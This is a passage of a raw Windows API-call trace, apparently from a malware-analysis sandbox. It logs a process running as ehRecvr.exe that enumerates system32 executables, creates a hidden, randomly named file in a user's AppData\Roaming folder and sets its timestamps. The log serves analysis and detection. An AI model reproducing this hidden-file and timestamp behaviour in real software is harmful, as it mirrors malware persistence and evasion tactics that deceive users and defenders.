cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="find.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0138.722] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0138.722] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0138.722] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0138.722] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0138.722] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0138.722] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\FXSCOVER.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\fxscover.exe"), fInfoLevelId=0x0, lpFileInformation=0x1a7f84c | out: lpFileInformation=0x1a7f84c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xc28ae7, ftCreationTime.dwHighDateTime=0xa90000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x1a7fba8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x1a7f8e4)) returned 0 [0138.723] GetLastError () returned 0x7b [0138.723] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0138.723] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.723] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988560) returned 1 [0138.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs"), fInfoLevelId=0x0, lpFileInformation=0x1a7f84c | out: lpFileInformation=0x1a7f84c*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xa90000, ftLastAccessTime.dwLowDateTime=0x988560, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x1a7fba8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x1a7f8e4)) returned 0 [0138.723] GetLastError () returned 0x2 [0138.723] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x18c [0138.723] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f890, lpLastWriteTime=0x1a7f890) returned 1 [0138.723] WriteFile (in: hFile=0x18c, lpBuffer=0x9885a8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x1a7f8bc, lpOverlapped=0x0 | out: lpBuffer=0x9885a8*, lpNumberOfBytesWritten=0x1a7f8bc*=0x0, lpOverlapped=0x0) returned 1 [0138.723] NtClose (Handle=0x18c) returned 0x0 [0138.724] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0138.724] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f478) returned 1 [0138.724] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.724] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f500) returned 1 [0138.724] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.724] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x800) returned 0x9841e8 [0138.724] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9841e8, nSize=0x200 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0138.724] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x1a7f84c | out: lpFileInformation=0x1a7f84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0138.724] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0138.724] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x1a7f890, lpLastWriteTime=0x1a7f890) returned 0 [0138.724] 